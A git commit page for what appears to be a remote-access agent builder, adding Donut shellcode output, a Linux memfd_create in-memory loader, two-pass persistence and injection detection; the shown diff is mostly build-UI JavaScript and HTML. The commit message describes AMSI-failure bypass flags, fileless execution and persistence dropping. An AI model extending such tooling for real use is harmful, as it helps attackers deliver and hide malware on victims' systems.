Shellcode clean (#21)
* feat: shellcode output via Donut (Windows) + memfd stub (Linux) - Donut (Windows): PE → PIC shellcode (.bin) via donut-manager.ts Flags: -f1 -a<arch> -b3 -x1 (continue on AMSI fail, thread exit) - Linux shellcode: 113-byte x86_64 memfd_create+execveat stub (linux-shellcode-manager.ts) wraps ELF for memfd_create+execveat - Two-pass build for shellcode+persistence: Pass 1 = normal agent with persist compiled in; Pass 2 = selfembed agent that drops+registers Pass 1 on first run (isRunningInMemory() gates the path) - Show console option: shellcode_console build tag calls AllocConsole() on start for debug builds; AttachConsole fallback included - isRunningInMemory() Windows: VirtualQuery on .data sentinel (MEM_PRIVATE = injected, MEM_IMAGE = normal disk load) replaces os.Executable() which returned host process path when injected - Build UI: Donut mode, Linux shellcode mode, show-console checkboxes; settings persisted across sessions via collectFormSettings() - GODEBUG=netdns=cgo hardcoded in build env (fixes IPv6 DNS on VPN) - Dockerfile: pre-seed Go module cache; add curl to runtime image - docker-compose.yml: switch healthcheck to wget (curl absent in slim) * fix: add missing shellcode UI functions and restore dynamic linking applyDonutMode, applyLinuxShellcodeMode, and updateShellcodeCheckboxVisibility were called throughout build.js but never defined, breaking platform selection and the build button. Add the missing implementations. Also remove forced -extldflags '-static' on Linux CGO builds; fully static glibc binaries cannot call dlopen, which broke native plugin loading entirely. * fix: call updateShellcodeCheckboxVisibility on page load Shellcode rows were hidden on initial load because the function was only wired to checkbox change events. Call it at startup and in applyFormSettings so pre-selected platforms correctly show their shellcode options immediately. * feat: Linux plugin subprocess shim for static-agent compatibility Static musl binaries cannot call dlopen. Introduce a small C shim (plugin_host.c) that is compiled at agent-build time into a dynamically-linked binary, embedded via go:embed, and fork+exec'd to load .so plugins on behalf of the static agent over a Unix socketpair. Empty placeholder files allow go:embed to compile without error; the real binaries are produced by build-process.ts before go build runs and are never committed. Documents the IPC protocol and build matrix in PLUGINS.md Section 12. * fix: define sp_memfd_create/sp_write_all in subproc CGO preamble CGO preamble functions are per-file translation units; so_memfd_create and so_write_all from loader_linux.go are not visible in loader_linux_subproc.go. Add local equivalents with sp_ prefix. * fix: use CGO helper for shim memfd_create instead of syscall.SYS_MEMFD_CREATE syscall.SYS_MEMFD_CREATE is not defined in Go stdlib syscall package. Replace with sp_memfd_create_nocloe() CGO helper (flags=0, no CLOEXEC). * fix: compile plugin host shim statically to avoid glibc version mismatch A dynamically-linked shim compiled on Debian Bookworm (glibc 2.36) fails on older glibc targets. Compile with -static so the shim is self-contained and runs on any glibc version. Static glibc can still call dlopen at runtime via the system ld-linux.so.2. Also surface subprocess errors instead of silently falling through to dlopen so failures are visible in the build log. * Restore docker build cache
This commit is contained in:
@@ -147,6 +147,9 @@ function collectFormSettings() {
|
||||
assemblyCopyright: document.getElementById("assembly-copyright")?.value ?? "",
|
||||
outputExtension: document.getElementById("output-extension")?.value ?? ".exe",
|
||||
cryptableMode: document.getElementById("cryptable-mode")?.checked ?? false,
|
||||
useDonut: document.getElementById("donut-mode")?.checked ?? false,
|
||||
useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked ?? false,
|
||||
shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -206,6 +209,15 @@ function applyFormSettings(settings) {
|
||||
if (settings.assemblyCopyright !== undefined) setVal("assembly-copyright", settings.assemblyCopyright);
|
||||
if (settings.outputExtension !== undefined) setVal("output-extension", settings.outputExtension);
|
||||
if (settings.cryptableMode !== undefined) setCb("#cryptable-mode", settings.cryptableMode);
|
||||
if (settings.useDonut !== undefined) {
|
||||
setCb("#donut-mode", settings.useDonut);
|
||||
if (settings.useDonut) applyDonutMode(true);
|
||||
}
|
||||
if (settings.useLinuxShellcode !== undefined) {
|
||||
setCb("#linux-shellcode-mode", settings.useLinuxShellcode);
|
||||
if (settings.useLinuxShellcode) applyLinuxShellcodeMode(true);
|
||||
}
|
||||
if (settings.shellcodeConsole !== undefined) setCb("#shellcode-console", settings.shellcodeConsole);
|
||||
|
||||
const restoredObfuscate = document.querySelector('input[name="obfuscate"]');
|
||||
const garbleContainer = document.getElementById("garble-settings-container");
|
||||
@@ -221,6 +233,7 @@ function applyFormSettings(settings) {
|
||||
updateWindowsSectionVisibility();
|
||||
updateIosSectionVisibility();
|
||||
updatePersistenceSettingsVisibility();
|
||||
updateShellcodeCheckboxVisibility();
|
||||
if (solMemoCheckbox && solSettings) {
|
||||
solSettings.classList.toggle("hidden", !solMemoCheckbox.checked);
|
||||
}
|
||||
@@ -469,9 +482,50 @@ function applyCryptableMode(enabled) {
|
||||
saveFormSettings();
|
||||
}
|
||||
|
||||
function updateShellcodeCheckboxVisibility() {
|
||||
const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value);
|
||||
const hasWindows = selected.some((p) => p.startsWith("windows-"));
|
||||
const hasLinuxAmd64 = selected.includes("linux-amd64");
|
||||
|
||||
const donutRow = document.getElementById("donut-row");
|
||||
if (donutRow) donutRow.classList.toggle("hidden", !hasWindows);
|
||||
|
||||
const linuxScRow = document.getElementById("linux-sc-row");
|
||||
if (linuxScRow) linuxScRow.classList.toggle("hidden", !hasLinuxAmd64);
|
||||
}
|
||||
|
||||
function applyDonutMode(enabled) {
|
||||
const badge = document.getElementById("donut-badge");
|
||||
if (badge) badge.classList.toggle("hidden", !enabled);
|
||||
|
||||
if (enabled) {
|
||||
const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value);
|
||||
const hasNonWindows = selected.some((p) => !p.startsWith("windows-"));
|
||||
const nonWinWarn = document.getElementById("donut-nonwin-warn");
|
||||
if (nonWinWarn) nonWinWarn.classList.toggle("hidden", !hasNonWindows);
|
||||
}
|
||||
|
||||
saveFormSettings();
|
||||
}
|
||||
|
||||
function applyLinuxShellcodeMode(enabled) {
|
||||
const badge = document.getElementById("linux-sc-badge");
|
||||
if (badge) badge.classList.toggle("hidden", !enabled);
|
||||
|
||||
if (enabled) {
|
||||
const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value);
|
||||
const hasNonAmd64Linux = selected.some((p) => p.startsWith("linux-") && p !== "linux-amd64");
|
||||
const nonX64Warn = document.getElementById("linux-sc-nonx64-warn");
|
||||
if (nonX64Warn) nonX64Warn.classList.toggle("hidden", !hasNonAmd64Linux);
|
||||
}
|
||||
|
||||
saveFormSettings();
|
||||
}
|
||||
|
||||
restoreFormSettings();
|
||||
initAccordions();
|
||||
updateWindowsSectionVisibility();
|
||||
updateShellcodeCheckboxVisibility();
|
||||
init();
|
||||
|
||||
if (solMemoCheckbox && solSettings) {
|
||||
@@ -662,6 +716,26 @@ if (cryptableCheckbox) {
|
||||
}
|
||||
}
|
||||
|
||||
const donutCheckbox = document.getElementById("donut-mode");
|
||||
if (donutCheckbox) {
|
||||
donutCheckbox.addEventListener("change", () => { applyDonutMode(donutCheckbox.checked); });
|
||||
if (donutCheckbox.checked) applyDonutMode(true);
|
||||
}
|
||||
|
||||
const linuxScCheckbox = document.getElementById("linux-shellcode-mode");
|
||||
if (linuxScCheckbox) {
|
||||
linuxScCheckbox.addEventListener("change", () => { applyLinuxShellcodeMode(linuxScCheckbox.checked); });
|
||||
if (linuxScCheckbox.checked) applyLinuxShellcodeMode(true);
|
||||
}
|
||||
|
||||
document.querySelectorAll('input[name="platform"]').forEach((el) => {
|
||||
el.addEventListener("change", () => {
|
||||
updateShellcodeCheckboxVisibility();
|
||||
if (donutCheckbox?.checked) applyDonutMode(true);
|
||||
if (linuxScCheckbox?.checked) applyLinuxShellcodeMode(true);
|
||||
});
|
||||
});
|
||||
|
||||
let pendingIconBase64 = null;
|
||||
const iconUpload = document.getElementById("icon-upload");
|
||||
const iconLabel = document.getElementById("icon-label");
|
||||
@@ -1402,6 +1476,9 @@ form?.addEventListener("submit", async (e) => {
|
||||
? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute }))
|
||||
: undefined,
|
||||
iosBundleId: platforms.some(p => p.startsWith('ios-')) ? (form.querySelector("#ios-bundle-id")?.value.trim() || undefined) : undefined,
|
||||
useDonut: document.getElementById("donut-mode")?.checked || false,
|
||||
useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked || false,
|
||||
shellcodeConsole: document.getElementById("shellcode-console")?.checked || false,
|
||||
};
|
||||
|
||||
const hasAndroid = platforms.some(p => p.startsWith('android-'));
|
||||
|
||||
@@ -365,6 +365,55 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="donut-row" class="hidden flex flex-col gap-1">
|
||||
<label class="flex items-center gap-2 p-3 bg-green-900/20 border border-green-500/30 rounded-lg cursor-pointer hover:border-green-400 transition-colors">
|
||||
<input type="checkbox" id="donut-mode" name="donut-mode" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
<span class="flex items-center gap-2">
|
||||
<i class="fa-solid fa-pepper-hot text-green-400"></i> Donut Shellcode
|
||||
</span>
|
||||
<span class="text-xs text-slate-500">Convert Windows PE to position-independent shellcode (.bin) via Donut. PE metadata, icon, bound files, UPX, hide-console, UAC, and critical-process are disabled. Persistence uses a two-pass build.</span>
|
||||
</div>
|
||||
</label>
|
||||
<div id="donut-badge" class="hidden pl-3 border-l-2 border-green-500/40 flex flex-col gap-1">
|
||||
<div class="flex items-center gap-2 px-3 py-1.5 rounded bg-green-900/30 border border-green-600/40 text-xs text-green-300">
|
||||
<i class="fa-solid fa-circle-check"></i>
|
||||
<span>Donut mode active — Windows builds output position-independent shellcode (.bin)</span>
|
||||
</div>
|
||||
<label class="flex items-center gap-2 px-3 py-1.5 rounded bg-slate-800/60 border border-slate-600/40 text-xs text-slate-300 cursor-pointer hover:border-slate-400 transition-colors">
|
||||
<input type="checkbox" id="shellcode-console" name="shellcode-console" class="w-3.5 h-3.5" />
|
||||
<i class="fa-solid fa-terminal text-slate-400"></i>
|
||||
<span>Show console window — calls <code>AllocConsole()</code> on start (debug builds only)</span>
|
||||
</label>
|
||||
<div id="donut-nonwin-warn" class="hidden flex items-center gap-2 px-3 py-1.5 rounded bg-yellow-900/30 border border-yellow-600/40 text-xs text-yellow-300">
|
||||
<i class="fa-solid fa-triangle-exclamation"></i>
|
||||
<span>Non-Windows targets selected — Donut only applies to Windows builds; other platforms build normally</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="linux-sc-row" class="hidden flex flex-col gap-1">
|
||||
<label class="flex items-center gap-2 p-3 bg-cyan-900/20 border border-cyan-500/30 rounded-lg cursor-pointer hover:border-cyan-400 transition-colors">
|
||||
<input type="checkbox" id="linux-shellcode-mode" name="linux-shellcode-mode" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
<span class="flex items-center gap-2">
|
||||
<i class="fa-brands fa-linux text-cyan-400"></i> Linux Shellcode
|
||||
</span>
|
||||
<span class="text-xs text-slate-500">Wrap Linux amd64 ELF in a position-independent shellcode stub (.bin) using memfd_create + execveat. Bound files and UPX are disabled. Persistence uses a two-pass build.</span>
|
||||
</div>
|
||||
</label>
|
||||
<div id="linux-sc-badge" class="hidden pl-3 border-l-2 border-cyan-500/40 flex flex-col gap-1">
|
||||
<div class="flex items-center gap-2 px-3 py-1.5 rounded bg-cyan-900/30 border border-cyan-600/40 text-xs text-cyan-300">
|
||||
<i class="fa-solid fa-circle-check"></i>
|
||||
<span>Linux shellcode mode active — linux-amd64 builds output shellcode (.bin)</span>
|
||||
</div>
|
||||
<div id="linux-sc-nonx64-warn" class="hidden flex items-center gap-2 px-3 py-1.5 rounded bg-yellow-900/30 border border-yellow-600/40 text-xs text-yellow-300">
|
||||
<i class="fa-solid fa-triangle-exclamation"></i>
|
||||
<span>Non-amd64 Linux targets selected — shellcode stub only supports x86_64; other platforms build normally</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
Reference in New Issue
Block a user